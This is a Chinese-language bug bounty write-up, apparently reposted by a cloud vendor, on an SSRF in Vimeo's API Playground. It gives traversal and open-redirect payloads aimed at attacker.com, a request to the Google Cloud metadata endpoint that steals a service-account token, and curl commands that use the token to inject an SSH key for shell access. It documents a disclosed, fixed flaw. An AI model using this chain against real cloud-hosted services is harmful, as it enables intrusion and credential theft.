怎么發現Vimeo的SSRF漏洞

怎么發現Vimeo的SSRF漏洞，相信很多沒有經驗的人對此束手無策，為此本文總結了問題出現的原因和解決方法，通過這篇文章希望你能解決這個問題。

下面分享的是一個關于視頻網站Vimeo的SSRF漏洞（服務端請求偽造），可以利用開放重定向和谷歌云實例token獲取兩種方法，實現Vimeo服務端代碼執行，危害嚴重。

漏洞背景

Vimeo在網站https://developer.vimeo.com上部署了一個名為API Playground的API接口，對該網站發起的請求是都是針對服務端的，例如以下的錯誤：

仔細觀察上述POST請求，可以發現，其中包含了一個面向服務端的GET請求，該請求可以簡單抽象如下：

https://api.vimeo.com/users/{user_id}/videos/{video_id}

在這個抽象出來的請求中，可以發現，我們可以控制的參數有很多。首先當然是URI參數，也就是其中的/users/{user_id}/videos/{video_id}，這里的請求方法是GET，如果請求方法是POST的話，其參數對應的也可以設置為post參數。user_id 和 video_id是兩個變量值，其值可在segments中被定義。

服務端目錄遍歷

我嘗試著在URI參數中進行一些常用目錄的遍歷，然而幾經測試都返回了403狀態，也就是說，服務端其實已經理解了該請求，但卻拒絕執行它。但是，我想因為user_id & videos_id也是包含在URL中的，且應該是服務端的內部參數，所以如果對它們做出更改應該是可行的。最終，測試發現，通過利用../../../這種形式的URL，可以形成一個針對api.vimeo.com服務端的ROOT級別請求，如下：

大概意思就是，如果構造的GET請求如下：

URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

則最終響應請求的就會是 https://api.vimeo.com/attacker頁面。在上圖中，可以看到，如果其構造的請求是經認證過的，那么最終在響應消息中，api.vimeo.com所有可能的響應都會被列出來。

通過api.vimeo.com進行提權

考慮了一會，我覺得這種機制應該是遵循HTTP 30X重定向的，說來話長。所以，知道了這點，我們就可以構造一個開放重定向方式，讓Vimeo服務端跳轉到我們控制的資源上去。

發現突破口

經過研究，我發現在api.vimeo.com上某個服務端，可以跳轉到主站vimeo.com上去：

https://api.vimeo.com/m/something

可以跳轉到：

https://vimeo.com/m/something

大概思路也就是：

https://api.vimeo.com/m/something/..../open/redirect?url=https://vimeo.com/m/something

那如果我們把redirect?url=后的vimeo.com換成我們控制的網站，不就可以了嗎？所以，基于這個發現，我們就有了一個很大的范圍去尋找這么一個能成功跳轉的api.vimeo.com服務端，在該漏洞報告中，最終我發現了一個不太有效的跳轉服務端，此處為了保密考慮，我只給出大概構造思路，如下：

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

最終，會成功執行一個到attacker.com的臨時重定向的302跳轉。

綜合利用形成SSRF

最終構造出的可行Payload如下：

../../../m/vulnerable/open/redirect?url=https://attacker.com

結合前面的目錄遍歷方式，加入video_id，所以最終的跳轉URL為：

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

解析后會變為：

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

再經重定向會變為：

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

最后，除了對vimeo.com服務端的請求外，也會發起一個針對https://attacker.com的請求，其中，vimeo.com服務端的響應消息為json格式，如下：

其它形式的SSRF漏洞發現

由于Vimeo的基礎架構是部署在Google云上的，所以我第一個想到的就是分析一下Google 元數據API接口。因為早前看過André Baptista (@0xacb)的利用谷歌元數據接口實現shopify實例SSRF的漏洞報告（$25,000），非常震撼，所以，在此，我就參考@0xacb的方法來對此漏洞進行利用（詳細請參考SSRF in Exchange leads to ROOT access in all instances）。大概思路是，首先請求以下鏈接：

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

它會返回一個account token：

{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

這個account token具備的權限范圍為：

$ curl https://www.googleapis.com/oauth3/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
Response:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

我可以用這個account token把我公共的SSH密鑰添加到Vimeo實例中，然后再通過我的私鑰去連接它，如下：

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}Response:{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

之后，就會有以下情況，可以成功連接到Vimeo在Google云上的實例：

SSH一般只在內網開放，這也經足夠說明，可以進一步提權為shell級別了。另外，還提取出了Google云中的Kubernetes密鑰，但我卻不懂如何用它，好在Vimeo安全團隊認為它是有效的。

整個漏洞發現過程就是這些，也就是存在兩個方面的SSRF風險隱患。感謝André Baptista (@0xacb)厲害的漏洞報告參考，Brett (@bbuerhaus)關于SSRF的writeup，還有Vimeo安全團隊的盡力修復。

看完上述內容，你們掌握怎么發現Vimeo的SSRF漏洞的方法了嗎？如果還想學到更多技能或想了解更多相關內容，歡迎關注億速云行業資訊頻道，感謝各位的閱讀！